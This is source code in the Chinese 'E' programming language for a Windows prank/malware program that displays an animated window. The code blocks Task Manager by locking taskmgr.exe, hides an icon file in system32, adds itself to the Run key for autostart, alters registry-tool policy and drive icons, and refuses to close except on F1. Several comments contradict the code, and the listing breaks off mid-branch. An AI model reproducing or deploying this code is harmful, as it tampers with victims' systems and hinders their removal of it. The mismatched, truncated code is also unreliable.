.版本 2
.程序集 窗口程序集1
.程序集变量 GIF图片, 字节集, , "8"
.程序集变量 帧延时, 整数型, , "8"
.程序集变量 帧数
.子程序 __启动窗口_创建完毕
.局部变量 N
图标地址 ＝ “C:\WINDOWS\system32\long.ico”
打开文件 (读环境变量 (“windir”) ＋ “\system32\taskmgr.exe”, 1, 4) ' 另类禁止打开任务管理器代码
.计次循环首 (8, N)
GIF图片 [N] ＝ 多项选择 (N, #p1, #p2, #p3, #p4, #p5, #p6, #p7, #p8)
帧延时 [N] ＝ 多项选择 (N, 160, 150, 150, 600, 150, 150, 180, 150)
.计次循环尾 ()
帧数 ＝ 1
_时钟1_周期事件 ()
写到文件 (“C:\WINDOWS\system32\long.ico”, #T1) ' 把资源L1写到C盘系统文件，命名为LONG。EXE
延时 (100)
置文件属性 (图标地址, #隐藏文件)
注册表类 ()
.子程序 注册表类
写注册项 (#本地机器, “Software\Microsoft\Windows\CurrentVersion\Run\long”, 取运行目录 () ＋ “\” ＋ 取执行文件名 ()) ' 启动自行启动代码
写注册项 (#现行用户, “Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, 0) ' 禁止使用注册表
' 修改磁盘图标开始
写注册项 (#本地机器, “SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\DriveIcons\C\DefaultIcon\”, 图标地址)
写注册项 (#本地机器, “SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\DriveIcons\D\DefaultIcon\”, 图标地址)
写注册项 (#本地机器, “SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\DriveIcons\E\DefaultIcon\”, 图标地址)
写注册项 (#本地机器, “SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\DriveIcons\F\DefaultIcon\”, 图标地址)
写注册项 (#本地机器, “SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\DriveIcons\G\DefaultIcon\”, 图标地址)
写注册项 (#本地机器, “SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\DriveIcons\H\DefaultIcon\”, 图标地址)
写注册项 (#本地机器, “SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\DriveIcons\S\DefaultIcon\”, 图标地址)
写注册项 (#本地机器, “SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\DriveIcons\T\DefaultIcon\”, 图标地址)
写注册项 (#本地机器, “SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\DriveIcons\I\DefaultIcon\”, 图标地址)
写注册项 (#本地机器, “SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\DriveIcons\J\DefaultIcon\”, 图标地址)
写注册项 (#本地机器, “SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\DriveIcons\K\DefaultIcon\”, 图标地址)
' 修改磁盘图标结束
.子程序 _时钟1_周期事件
.如果真 (帧数 ＞ 8)
帧数 ＝ 1
.如果真结束
_启动窗口.置外形图片 (GIF图片 [帧数], #绿色)
_启动窗口.底图 ＝ GIF图片 [帧数]
时钟1.时钟周期 ＝ 帧延时 [帧数]
帧数 ＝ 帧数 ＋ 1
.子程序 __启动窗口_可否被关闭, 逻辑型
返回 (假)
.子程序 __启动窗口_鼠标左键被按下, 逻辑型
.参数 横向位置, 整数型
.参数 纵向位置, 整数型
.参数 功能键状态, 整数型
投递信息 (161, 2, 0)
.子程序 __启动窗口_按下某键, 逻辑型
.参数 键代码, 整数型
.参数 功能键状态, 整数型
.如果 (键代码 ＝ #F1键) ' 按K键后结束程序代码
结束 ()
.否则
